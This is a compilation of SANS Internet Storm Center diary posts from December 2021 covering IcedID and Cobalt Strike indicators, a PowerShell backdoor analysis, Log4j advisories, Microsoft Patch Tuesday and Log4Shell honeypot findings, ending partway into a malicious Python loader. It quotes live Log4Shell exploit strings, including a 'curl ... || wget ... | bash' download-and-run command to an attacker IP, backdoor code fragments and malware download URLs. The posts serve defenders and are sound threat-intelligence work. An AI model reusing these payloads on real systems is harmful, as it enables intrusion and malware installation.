• File location: C:\Users\[username]\AppData\Local\Temp\oben32.dll
• File description: 64-bit DLL for Cobalt Strike retrieved by IcedID-infected host
• Run method: regsvr32.exe [filename]
• Analysis: https://tria.ge/211214-q5xl3afgf6

SHA256 hash: f9c4a119234df78e1ad71b10fb0bf18622fd5245b72b93e5b71992f20cb9fd2e

• File size: 413,696 bytes
• File location: hxxp://192.34.109[.]104/download/HI1FA3OB3N7D9.dll
• File location: C:\Users\[username]\AppData\Local\Temp\Ihopot2.dll
• File description: another 64-bit DLL for Cobalt Strike retrieved by IcedID-infected host
• Run method: rundll32.exe [filename],[unknown entry point]
• Analysis: https://tria.ge/211214-vw9mgsgbe3

Final words

This and similar IcedID infections have led to Cobalt Strike, which can lead to other malicious activity like ransomware as reported in this real-world example.

A pcap of the network traffic and the associated malware from this infection are available here.

---

Brad Duncan
brad [at] malware-traffic-analysis.net

For a while, most security people agree on the fact that antivirus products are not enough for effective protection against malicious code. If they can block many threats, some of them remain undetected by classic technologies. Here is another example with a simple but effective PowerShell backdoor that I spotted yesterday. The file has been uploaded on VT (SHA256:4cd82b6cbd3e20fc8a9a0aa630d2a866d32cfb60e76b032191fda5d48720a64d) and received a score of ... 0/57! [1].

The script is pretty well obfuscated and hides a simple backdoor. The technique is string pollution with garbage characters that are removed with a split() to create an array and refer to specific elements:

PS C:\Users\REM> (("103AN449AN24AN445AN72AN796AN976AN159AN40AN26" -split "AN")[4])
72

The C2 server return JSON data that I parsed to extract the code to execute through Invoke-Expression:

function ConvertFrom-JSON20([object] $item){
  add-type -assembly system.web.extensions;
  $ps_js=new-object system.web.script.serialization.javascriptSerializer;
  $ps_js.MaxJsonLength = 99999999
  return ,$ps_js.DeserializeObject($item);
}
$res = xor $res $cmp
$res = $enc.GetString($res);
$res = ConvertFrom-JSON20($res);
$script = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($res.script));
$script = [Scriptblock]::Create($script);
Invoke-Command -ScriptBlock $script -ArgumentList $res.args;

All communications are XOR'd (there is a xor() function to perform a multi-byte encoding).

The session with the C2 server (hxxp://45[.]77[.]127[.]230:8888)[2] is established and maintained based on the infected system UUID:

$UUID = (get-wmiobject Win32_ComputerSystemProduct).uuid;
$xorkey = $enc.GetBytes($cmp)
$data = xor $enc.GetBytes($UUID) $xorkey;

Finally, the backdoor is launched in a PowerShell RunSpace:

$rs = [runspacefactory]::CreateRunspace()
$rs.ApartmentState = "STA"
$rs.ThreadOptions = "ReuseThread"          
$rs.Open()
$rs.SessionStateProxy.SetVariable("h",$host)

$ps = [PowerShell]::Create()
$ps.Runspace = $rs
$ps.AddScript($script) | out-null
$ps.AddArgument($srv) | out-null
$ps.AddArgument($cmp) | out-null
$res = $ps.BeginInvoke()

Based on the script code, even if it's not flagged as malicious by regular AV engines, it's pretty easy to spot the malicious activity via an EDR tool or Microsoft Sysmon: PowerShell should not:

• perform HTTP connections on non-standard ports
• connect to IP addresses
• perform HTTP connection outside of the perimeter or to host not listed in an allowlist.

[1] https://www.virustotal.com/gui/file/4cd82b6cbd3e20fc8a9a0aa630d2a866d32cfb60e76b032191fda5d48720a64d/detection
[2] https://isc.sans.edu/ipinfo.html?ip=45.77.127.230

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

According to a new Apache Log4j security bulletin, version 2.15.0 and the initially suggested mitigation measures do not completely address the  Log4Shell in certain custom configurations. 

It was discovered that version 2.15.0 would still be vulnerable when the configuration has a pattern layout containing a Context Lookup (for example, $${ctx:loginId}), or a Thread Context Map pattern %X, %mdc, or %MDC. In these cases, when the attacker manages to control the Thread Context values, JNDI lookup injections may be possible, resulting in JNDI connections. Version 2.15.0 limited JNDI connections to 'localhost’' but this possibility could result in a denial of service (DoS) or worse.

Therefore, a new version (2.16.0) has been made available to completely fix the issue (so far at least) associated with CVE-2021–45046 along with more effective mitigation measures for versions to 2.x versions:

• Java 8 (or later) users should upgrade to release 2.16.0.
• Users requiring Java 7 should upgrade to release 2.12.2 when it becomes available (work in progress, expected to be available soon).
• Otherwise, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

The mitigation measures previously reported, such as setting the log4j2.formatMsgNoLookups variable to ‘true’, is not considered fully effective. The advisory says:

 "The reason these measures are insufficient is that, in addition to the Thread Context attack vector mentioned above, there are still code paths in Log4j where message lookups could occur: known examples are applications that use Logger.printf("%s", userInput), or applications that use a custom message factory, where the resulting messages do not implement StringBuilderFormattable. There may be other attack vectors.".

So, if you could not upgrade to versions 2.15.0 or 2.16.0 and followed previous mitigations, you are advised to remove JndiLookup class from the log4j-core jar to mitigate the vulnerability. 

The advisory is available at: https://logging.apache.org/log4j/2.x/security.html

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

Amidst the unfolding of the Log4Shell vulnerability, more updates have just arrived with Decembers' Microsoft Patch Tuesday. This month we got patches for 83 vulnerabilities. Of these, 7 are critical, 6 were previously disclosed and 1 is being exploited according to Microsoft.

The 0-day is a spoofing vulnerability on the Windows AppX installer (CVE-2021-43890). According to the advisory, Microsoft is aware of attempts to exploit this vulnerability by using specially crafted packages to implant malware families like Emotet, Trickbot, and Bazaloader. An attacker could use malicious attachments in phishing campaigns to exploit the vulnerability and convince the user to open it. Users of the tool are advised to upgrade to the fixed version using the links on the security advisory. The CVSS for the vulnerability is 7.1.

Amongst critical vulnerabilities, the iSNS Server memory corruption vulnerability can lead to remote code execution (CVE-2021-43215). According to the advisory, an attacker could send a specially crafted request to the Internet Storage Name Service (iSNS) server, which could result in remote code execution. The Internet Storage Name Service (iSNS) protocol is not installed by default and is used for interaction between iSNS servers and iSNS clients. The CVSS for this vulnerability is 9.8.

There is also a critical vulnerability affecting Microsoft Office app that can lead to RCE (CVE-2021-43905). According to the advisory, the attack vector is network, the attack complexity is low, and user interaction is required. The CVSS v3 for this vulnerability is 9.6.

In addition to the iSNS, another vulnerability has been associated with this month's highest CVSS - 9.8. It is an RCE on Visual Studio Code WSL Extension (CVE-2021-43907). According to the advisory, the attack vector is network, the attack complexity is low and no user interaction is required to exploit the vulnerability. 

See my dashboard for a more detailed breakout: https://patchtuesdaydashboard.com.

December 2021 Security Updates

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
ASP.NET Core and Visual Studio Elevation of Privilege Vulnerability
%%cve:2021-43877%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Bot Framework SDK Remote Code Execution Vulnerability
%%cve:2021-43225%%	No	No	Less Likely	Less Likely	Important	7.5	6.7
Chromium: CVE-2021-4052 Use after free in web apps
%%cve:2021-4052%%	No	No	-	-	-
Chromium: CVE-2021-4053 Use after free in UI
%%cve:2021-4053%%	No	No	-	-	-
Chromium: CVE-2021-4054 Incorrect security UI in autofill
%%cve:2021-4054%%	No	No	-	-	-
Chromium: CVE-2021-4055 Heap buffer overflow in extensions
%%cve:2021-4055%%	No	No	-	-	-
Chromium: CVE-2021-4056: Type Confusion in loader
%%cve:2021-4056%%	No	No	-	-	-
Chromium: CVE-2021-4057 Use after free in file API
%%cve:2021-4057%%	No	No	-	-	-
Chromium: CVE-2021-4058 Heap buffer overflow in ANGLE
%%cve:2021-4058%%	No	No	-	-	-
Chromium: CVE-2021-4059 Insufficient data validation in loader
%%cve:2021-4059%%	No	No	-	-	-
Chromium: CVE-2021-4061 Type Confusion in V8
%%cve:2021-4061%%	No	No	-	-	-
Chromium: CVE-2021-4062 Heap buffer overflow in BFCache
%%cve:2021-4062%%	No	No	-	-	-
Chromium: CVE-2021-4063 Use after free in developer tools
%%cve:2021-4063%%	No	No	-	-	-
Chromium: CVE-2021-4064 Use after free in screen capture
%%cve:2021-4064%%	No	No	-	-	-
Chromium: CVE-2021-4065 Use after free in autofill
%%cve:2021-4065%%	No	No	-	-	-
Chromium: CVE-2021-4066 Integer underflow in ANGLE
%%cve:2021-4066%%	No	No	-	-	-
Chromium: CVE-2021-4067 Use after free in window manager
%%cve:2021-4067%%	No	No	-	-	-
Chromium: CVE-2021-4068 Insufficient validation of untrusted input in new tab page
%%cve:2021-4068%%	No	No	-	-	-
DirectX Graphics Kernel File Denial of Service Vulnerability
%%cve:2021-43219%%	No	No	Less Likely	Less Likely	Important	7.4	6.4
HEVC Video Extensions Remote Code Execution Vulnerability
%%cve:2021-40452%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2021-40453%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2021-41360%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft 4K Wireless Display Adapter Remote Code Execution Vulnerability
%%cve:2021-43899%%	No	No	Less Likely	Less Likely	Critical	9.8	8.5
Microsoft BizTalk ESB Toolkit Spoofing Vulnerability
%%cve:2021-43892%%	No	No	-	-	Important	7.4	6.7
Microsoft Defender for IOT Elevation of Privilege Vulnerability
%%cve:2021-42312%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Defender for IoT Information Disclosure Vulnerability
%%cve:2021-43888%%	No	No	Less Likely	Less Likely	Important	7.5	7.0
Microsoft Defender for IoT Remote Code Execution Vulnerability
%%cve:2021-42310%%	No	No	Less Likely	Less Likely	Critical	8.1	7.1
%%cve:2021-42311%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2021-42313%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2021-42314%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2021-42315%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2021-43882%%	No	No	Less Likely	Less Likely	Important	9.0	7.8
%%cve:2021-43889%%	No	No	Less Likely	Less Likely	Important	7.2	6.7
%%cve:2021-41365%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2021-43256%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Jet Red Database Engine and Access Connectivity Engine Elevation of Privilege Vulnerability
%%cve:2021-42293%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Microsoft Local Security Authority Server (lsasrv) Information Disclosure Vulnerability
%%cve:2021-43216%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Microsoft Message Queuing Information Disclosure Vulnerability
%%cve:2021-43222%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
%%cve:2021-43236%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Microsoft Office Graphics Remote Code Execution Vulnerability
%%cve:2021-43875%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Office Trust Center Spoofing Vulnerability
%%cve:2021-43255%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Microsoft Office app Remote Code Execution Vulnerability
%%cve:2021-43905%%	No	No	More Likely	More Likely	Critical	9.6	8.6
Microsoft PowerShell Spoofing Vulnerability
%%cve:2021-43896%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Microsoft SharePoint Server Remote Code Execution Vulnerability
%%cve:2021-42294%%	No	No	Less Likely	Less Likely	Important	7.2	6.3
%%cve:2021-42309%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
Microsoft SharePoint Server Spoofing Vulnerability
%%cve:2021-42320%%	No	No	Less Likely	Less Likely	Important	8.0	7.0
%%cve:2021-43242%%	No	No	Less Likely	Less Likely	Important	7.6	6.6
NTFS Set Short Name Elevation of Privilege Vulnerability
%%cve:2021-43240%%	Yes	No	Less Likely	Less Likely	Important	7.8	7.0
Remote Desktop Client Remote Code Execution Vulnerability
%%cve:2021-43233%%	No	No	More Likely	More Likely	Critical	7.5	6.5
Storage Spaces Controller Information Disclosure Vulnerability
%%cve:2021-43227%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
%%cve:2021-43235%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
SymCrypt Denial of Service Vulnerability
%%cve:2021-43228%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
VP9 Video Extensions Information Disclosure Vulnerability
%%cve:2021-43243%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Visual Basic for Applications Information Disclosure Vulnerability
%%cve:2021-42295%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Visual Studio Code Remote Code Execution Vulnerability
%%cve:2021-43891%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Visual Studio Code Spoofing Vulnerability
%%cve:2021-43908%%	No	No	Less Likely	Less Likely	Important
Visual Studio Code WSL Extension Remote Code Execution Vulnerability
%%cve:2021-43907%%	No	No	Less Likely	Less Likely	Critical	9.8	8.5
Web Media Extensions Remote Code Execution Vulnerability
%%cve:2021-43214%%	No	No	Less Likely	Unlikely	Important	7.8	6.8
Windows AppX Installer Spoofing Vulnerability
%%cve:2021-43890%%	Yes	Yes	Detected	Detected	Important	7.1	6.2
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2021-43226%%	No	No	More Likely	More Likely	Important	7.8	6.8
%%cve:2021-43207%%	No	No	More Likely	More Likely	Important	7.8	6.8
Windows Common Log File System Driver Information Disclosure Vulnerability
%%cve:2021-43224%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Digital Media Receiver Elevation of Privilege Vulnerability
%%cve:2021-43248%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Digital TV Tuner Elevation of Privilege Vulnerability
%%cve:2021-43245%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Encrypting File System (EFS) Elevation of Privilege Vulnerability
%%cve:2021-43893%%	Yes	No	Less Likely	Less Likely	Important	7.5	6.5
Windows Encrypting File System (EFS) Remote Code Execution Vulnerability
%%cve:2021-43217%%	No	No	Less Likely	Less Likely	Critical	8.1	7.1
Windows Event Tracing Remote Code Execution Vulnerability
%%cve:2021-43232%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Fax Service Remote Code Execution Vulnerability
%%cve:2021-43234%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Hyper-V Denial of Service Vulnerability
%%cve:2021-43246%%	No	No	Less Likely	Less Likely	Important	5.6	4.9
Windows Installer Elevation of Privilege Vulnerability
%%cve:2021-43883%%	Yes	No	More Likely	More Likely	Important	7.8	7.0
Windows Kernel Information Disclosure Vulnerability
%%cve:2021-43244%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Windows Media Center Elevation of Privilege Vulnerability
%%cve:2021-40441%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Mobile Device Management Elevation of Privilege Vulnerability
%%cve:2021-43880%%	Yes	No	More Likely	More Likely	Important	5.5	4.8
Windows NTFS Elevation of Privilege Vulnerability
%%cve:2021-43229%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2021-43230%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2021-43231%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Print Spooler Elevation of Privilege Vulnerability
%%cve:2021-41333%%	Yes	No	More Likely	More Likely	Important	7.8	7.2
Windows Recovery Environment Agent Elevation of Privilege Vulnerability
%%cve:2021-43239%%	No	No	Less Likely	Less Likely	Important	7.1	6.2
Windows Remote Access Connection Manager Elevation of Privilege Vulnerability
%%cve:2021-43223%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Remote Access Elevation of Privilege Vulnerability
%%cve:2021-43238%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Setup Elevation of Privilege Vulnerability
%%cve:2021-43237%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows TCP/IP Driver Elevation of Privilege Vulnerability
%%cve:2021-43247%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
iSNS Server Memory Corruption Vulnerability Can Lead to Remote Code Execution
%%cve:2021-43215%%	No	No	More Likely	More Likely	Critical	9.8	8.5

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

Friday (Dec. 10th), we moved our Infocon to "Yellow" for the first time in about two years. We saw an immediate need to get the word out as the log4shell vulnerability ( %%cve:2021-44228%%) was actively exploited and affected various widely used products. Patches and workarounds were not readily available at the time. Our Infocon indicates "change," not "steady-state." By now, everybody in infosec knows about log4shell. This morning I noticed that even cnn.com had log4j/log4shell mentioned at the top of the page. Once CNN covers an infosec topic like this: It should be old news for anybody "in the field."

We are now moving our "Infocon" back to "green."

Log4Shell will continue to haunt us for years to come. Dealing with log4shell will be a marathon. Treat it as such. Mick pointed that out in our live stream yesterday, and it is probably the most important thing you need to plan for now: How to live with log4shell long term. 

Please keep notes as you are dealing with this vulnerability and as you are finding new instances in your environment using log4j. I don't think this was the last we heard of log4j or JNDI. History taught us that vulnerabilities like this could focus attention on respective features and libraries. I suspect there will be more to come.

As of this writing, log4j 2.16 is the officially fixed version. log4j 2.15 was the initial fix, with 2.16 fixing some issues with pattern formatters that could still expose you to JNDI lookups.

Here are a few resources about log4j/log4shell:

RCE in Log4j / Log4Shell or how things can get bad quickly
https://isc.sans.edu/forums/diary/RCE+in+log4j+Log4Shell+or+how+things+can+get+bad+quickly/28120/

Log4Shell Exploited to Implant Coin Miners
https://isc.sans.edu/forums/diary/Log4Shell+exploited+to+implant+coin+miners/28124/

Log4Shell Live Stream
https://www.youtube.com/watch?v=oC2PZB5D3Ys

Log4Shell Followup: What we see and how to defend, and how to access our data
https://isc.sans.edu/forums/diary/Log4j+Log4Shell+Followup+What+we+see+and+how+to+defend+and+how+to+access+our+data/28122/

Log4j Zero-Day
https://www.lunasec.io/docs/blog/log4j-zero-day/

List of Vendor Bulletins
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

List of Vulnerable Software
https://github.com/NCSC-NL/log4shell/tree/main/software

Official log4j Website
https://logging.apache.org/log4j/2.x/

log4j 2.16 Update which fixes some remaining JNDI related issues
https://issues.apache.org/jira/projects/LOG4J2/issues/LOG4J2-3221?filter=allissues

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Analyzing the ISC honeypots' requests, I found out that coin miners just included Log4Shell into their arsenal. 

The request that hit our honeypot is trying to make vulnerable log4j load the address 'jndi:ldap://45[.]83.193.150:1389/Exploit'. This will make log4j load and instantiate a malicious payload hosted at 'http://31[.]220.58.29/Exploit.class'.

I could find the payload address by doing a JNDI lookup, just like log4j does, then getting the class name and address by the returned reference object. To do so, I created a simple tool that is available on GitHub. 

After decompiling the malicious class using fernflower, I could see the following code.

Depending on the targeted operating system, the code will download and execute codes hosted on different locations.

At http://172[.]105.241.146:80/wp-content/themes/twentysixteen/s.cmd, which will be loaded in the case of Windows SO, there is a Powershell script to download and execute a coin miner, as seen below.

For not Windows operating systems, the malicious class will download and execute an ELF binary hosted at http://18[.]228.7.109/.log/log. Although I suspect it's also a coin miner, the ELF file is yet to be analyzed.

Bojan and Johannes wrote about Log4Shell here and here, respectively. 

IOCs

Network

ldap://45[.]83.193.150
http://31[.]220.58.29
http://172[.]105.241.146
http://18[.]228.7.109
 

Files (MD5 and SHA256 hashes)

ceb9a55eaa71101f86b14c6b296066c9  pty3
4c97321bcd291d2ca82c68b02cde465371083dace28502b7eb3a88558d7e190c  pty3

f6e51ea341570c6e9e4c97aee082822b  Exploit.class
eb76b7fb22dd442ba7d5064dce4cec79e6db745ace7019b6dfe5642782bf8660  Exploit.class

c717c47941c150f867ce6a62ed0d2d35  xmrig.exe
e8b2a8d0c3444c53f143d0b4ba87c23dd1b58b03fd0a6b1bcd6e8358e57807f1  xmrig.exe

1718956642fbd382e9cde0c6034f0e21  s.cmd
c70e6f8edfca4be3ca0dc2cfac8fddd14804b7e1e3c496214d09c6798b4620c5  s.cmd

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

    On Thursday, December 9th, LunaSec published a blog post with details regarding a vulnerability in the log4j2 library. This vulnerability became quickly known as "log4shell", and %%CVE:2021-44228%% was assigned to it [1]. On Friday, Bojan published a post with some technical details regarding the exploitation of this vulnerability [2]. We have also posted some of the attacks we saw via our Twitter account (@sans_isc).

Let's start with a couple of "FAQs" we got from readers:

• This is not a problem with Apache. The Apache Software Foundation maintains log4j2. They do a lot of great stuff, not just the webserver. Log4j is not part of the Apache webserver.
• Not all software using Java is vulnerable. Only software that includes the log4j2 library is vulnerable.
• Any string that is logged via log4j2 could potentially be used to exploit this vulnerability.
• Only log4j2 is vulnerable. The older log4j (no "2") is not vulnerable. But people often say "log4j" to include either version.
• There is no generic "log4j2" patch to patch everything. In some cases, vendors including log4j, need to patch their software to include the new version. (you still should apply any patches patching the log4j2 library on your system)
• Exploitability depends on the Java version and how log4j2 is used. Not all software using log4j2 is vulnerable. For example, Java security managers may be used by software to define policies for an application that will block exploitation.

    Our network of web honeypots has been busy collecting data about the attacks against log4j. The first two attacks we saw arrived on Thursday at 12:32 UTC from %%ip:45.155.205.233%%. This attack transmitted the exploit string using the user-agent, a patter that was common to many early exploit attempts:

[see the end of this post for instructions on how to access our honeypot data]

    "date": "2021-12-09",
    "time": "12:32:31",
    "url": "/",
    "user_agent": "${jndi:ldap://%%ip:45.155.205.233%%:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xOTIuMTM1LjE2OC4yMjY6ODA4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xOTIuMTM1LjE2OC4yMjY6ODA4MCl8YmFzaA==}",
    "source": "%%ip:45.155.205.233%%"

         This IP address has been sending different requests to our honeypots starting December 4th. None of the earlier requests are remarkable. They all probe known vulnerabilities unrelated to log4shell. For example, we saw some attempts to exploit the recent Apache path traversal issue, but also attacks against much older "Think App", PHPUnit and Exchange vulnerabilities. All prior attacks used the exact same user-agent header, until December 9th, when it started to use the log4shell exploit. Shodan shows the server returning an exploit string on port 9,000. The payload from port 9,000 includes instructions to download and run an "ex. sh" script. This file has sometimes been associated with crypto miners, but it does no longer appear to be available.

     On Friday, December 10th, others joined in on scanning the internet for systems vulnerable to log4shell. 45.155.205.233 stayed by far the most active according to our reports. We also have some Tor endpoints that originated multiple attacks. The IP addresses scanning for the vulnerability were associated with common botnets and all had a history of prior attacks against various vulnerabilities. Security company Binary Edge also started to scan for the vulnerability.

     The most commonly seen exploit pattern was ${jndi:ldap://aa895bba3900.bingsearchlib.com:39356/a}. The prefix changed with each request and was always twelve hexadecimal digits (six bytes). bingsearchlib.com is not associated with Bing or Microsoft as far as I can tell. The exploit instructs the victim to connect to this URL to download additional commands. Many of these exploits involving "bingsearch" originated via Tor.

     Other exploit strings included the base64 encoded command like what you see above. The exploit string typically encodes to something like:

(curl -s 45.155.205.233:5874/[target IP redacted]:8080||wget -q -O- 45.155.205.233:5874/[target IP redacted]:8080)|bash

      Including the target IP in the URL may be used to just detect vulnerable systems, or to only deliver the payload if the request originates from the correct IP address.

      Then we had a few oddball requests:

${jndi:ldaps://588abb5f.probe001.log4j.leakix.net:8443/b}

    This one appears to be associated with researchers at leakix.net.

Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 ${jndi:ldap://166.25.77.83.dynamic.wline.res.cust.swisscom.ch.0.sinkman.oob.abrahackbugs.xyz:443/abc} (KHTML, like Gecko) Chrome/80.0.3987.100 Safari/537.36 AutoMate 1.0

     A modified "real" user-agent, maybe an attempt to evade some filter or an attempt to exploit systems that only log part of the user-agent.

     We then also saw similar strings show up on the URL. For example:

/$%7Bjndi:ldap://45.130.229.168:1389/Exploit%7D
/$%7Bjndi:ldap://x-ios-validation.com.lc1wnt7yguuuk0qurdw600boffl59u.burpcollaborator.net%7D

    A few requests also used ldaps instead of ldap as a possible simple way to evade filters.

    More promising evasion attempts only showed up later. For example, Binary Edge started using:

${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}

    which obfuscates individual letters. (${lower:l} = l)

    What does this mean for defenses:

- Attacks are ongoing, and your system was likely already scanned using one of the exploits above.
- These exploits do not work in all cases. Exploits more customized for specific targets are being developed.
- This is not just exploitable via HTTP(s). Anything that is logged by log4j could be used to attack a vulnerable system.
- Right now, LDAP(s) is the protocol of choice. But here are other possibilities (see Bojan's diary).
- Try to disable or restrict the lookup feature in log4j. There are a number of options:

add the following command-line options:
-Dlog4j2.formatMsgNoLookups=true (e.g. in jvm.options)

or/and
- convert '%m', '%msg' and '%message' to %m{nolookups} in log4j2.xml (see https://twitter.com/daenney/status/1469320785856770068 )

or/and
- add an environment variable LOG4J_FORMAT_MSG_NO_LOOKUPS=true on all systems.

consult this "Blue Team Cheatsheet" by SwitHak for vendor bulletins [3]

Accessing Our Honeypot Data

Our API (https://isc.sans.edu/api) offers two functions that make it easy to retrieve data related to the exploit. The first one retrieves data collected based on the URL. You may retrieve all data collected on a particular day that includes a specific string. For example:

https://isc.sans.edu/api/webhoneypotreportsbyurl/jndi:/2021-12-09?json

retrieves all data from December 9th where the requested url includes the string "jndi:". You may omit the date to get today's data. 

Similarly, 

https://isc.sans.edu/api/webhoneypotreportsbyua/jndi:/2021-12-09?json

can be used to retrieve reports base on the user-agent.

By default, the data is returned in XML, which doesn't work well in this case. Adding ?json will return the data in JSON format. 

PLEASE DO NOT USE THE DATA AS A SIMPLE BLOCKLIST. THE DATA IS PROVIDED "AS IS" AND HAS NOT BEEN FILTERED/VERIFIED.

[1] https://www.lunasec.io/docs/blog/log4j-zero-day/
[2] https://isc.sans.edu/forums/diary/RCE+in+log4j+Log4Shell+or+how+things+can+get+bad+quickly/28120/
[3] https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

If you have been following developments on Twitter and various other security sources, by now you have undoubtedly heard about the latest vulnerability in the very popular Apache log4j library.

log4j is a very popular logging package for Java. It is very powerful and flexible and, even from my own experience, is used in almost every Java application that I have ever encountered. No wonder, it allows you to just create an instance of the log4j class and then easily use it for logging, based on provided configuration parameters (typically set in the log4j.properties file).

Yesterday a PoC for a Remote Code Execution vulnerability in log4j was published. The exploit is actually unbelievably simple – which makes it very, very scary at the same time.

The vulnerability is in the JNDI lookup feature of the log4j library. While the background around this is very complex, exploitation actually is not (as you will see below in couple redacted screenshots).

The JNDI lookup feature of log4j allows variables to be retrieved via JNDI - Java Naming and Directory Interface. This is an API that that provides naming and directory functionality to Java applications. While there are many possibilities, the log4j one supports (AFAIK) LDAP and RMI (Remote Method Invocation).

In other words, when a new log entry is being created, and log4j encounters a JNDI reference, it will actually literally go to the supplied resource and fetch whatever it needs to fetch in order to resolve the required variable. And in this process, it might even download remote classes and execute them!

Below is a simple initial PoC that demonstrates how the vulnerability can be exploited:

As you can see above, in order to initially exploit the vulnerability, an attacker just needs to literally supply the JNDI reference (the text you can see in the source code). When that input gets logged by log4j, it will parse the text, see the reference and try to resolve it. And this is where the problem really is.

Depending on the JNDI reference, the log4j library will now either perform an LDAP query or an RMI query to the target URL. This is where an attacker can use the marshalsec package by Moritz Bechler, available at https://github.com/mbechler/marshalsec

This package supports, among other things JNDI reference indirection – it allows an attacker to setup a server that will accept the incoming JNDI lookup (either LDAP or RMI) and then automatically create a redirection that will point the client (in our case the log4j library) to the target codebase. The library will then follow the redirection and visit the codebase server (which is accessed over the HTTP protocol), fetch a class that is served there and execute it! Scary.

The figure below shows the marshalsec package created a JNDI reference indirection server using the RMI protocol (to use a different one than the PoC). You can see that a client accessed the server and was redirected to a remote classloading stub where the final class is waiting to be executed.

This final class is just a simple Java class that can execute anything that an attacker wishes to execute – here’s an example for the LDAP reference that will execute netcat to send a shell back to the attacker:

And really it is that simple (provided you can juggle your way around Java).

Now, you might wonder what is the impact of this? The one important thing to be aware of here is that *any application* that uses a vulnerable log4j version is affected. It does not matter if this is a server side application, or a client side application (!!!) – as long as it reads some input from an attacker, and passes that to the log4 library, there is an exploitation path, which means that even client side applications are potentially affected (and fixing might take months :/).

Since the cat is out of the bag, and due to exploitation being relatively simple, we would suggest that you try to apply one of the workarounds as soon as possible:

1. A new log4j library has been released, version 2.15.0 that fixes the vulnerability. This is, of course, the best fix, but it might require recompilation and redistribution of packages
2. If you are using version 2.10.0 you can set a property called formatMsgNoLookups to true to prevent lookups. This can be passed as a parameter too.
3. For older versions you will need to modify logging patterns as specified here: https://issues.apache.org/jira/browse/LOG4J2-2109

Since the exploit requires the affected server/client to reach out to another server (that will supply the JNDI reference) on the Internet, the following actions can be performed:

• As always, block any outgoing traffic that is not required. If you have a server running a Java application that only needs to accept incoming traffic, prevent everything outgoing.
• If you do any traffic inspection, check for LDAP and RMI protocols.

Finally, as my fellow handler @xme noticed – this is already being exploited as part of a User Agent header:

I presume that these (simple) attackers are observing posted PoC exploits where one demo used the User Agent field, but we should stress out that *absolutely any input field* that is controlled by an attacker, and passed to the log4j library can lead to remote code execution.

--
Bojan
@bojanz
INFIGO IS

[Update #1]

Based on the activity already captured by our honeypots and the amount of information about the vulnerability, we discussed and reviewed the InfoCon rubrik[1]. We decided to switch to the "Yellow" level until the situation will be clearer. Many vendors still have to investigate and fix the problem in their applications/systems.

Xavier

[1] https://isc.sans.edu/infocon.html

My hunting rules detected a niece piece of Python code. It's interesting to see how the code is simple, not deeply obfuscated, and with a very low VT score: 2/56![1]. I see more and more malicious Python code targeting the Windows environments. Thanks to the library ctypes[2], Python is able to use any native API calls provided by DLLs.

The script is very simple, so here is the full code:

import ctypes,urllib3,base64,json
try:
  b=eval
  t=bytearray
  u=len
  A=json.loads
  H=base64.b64decode
  P=urllib3.PoolManager
  q=ctypes.pointer
  M=ctypes.c_char
  D=ctypes.c_int
  f=ctypes.c_uint64
  F=ctypes.windll
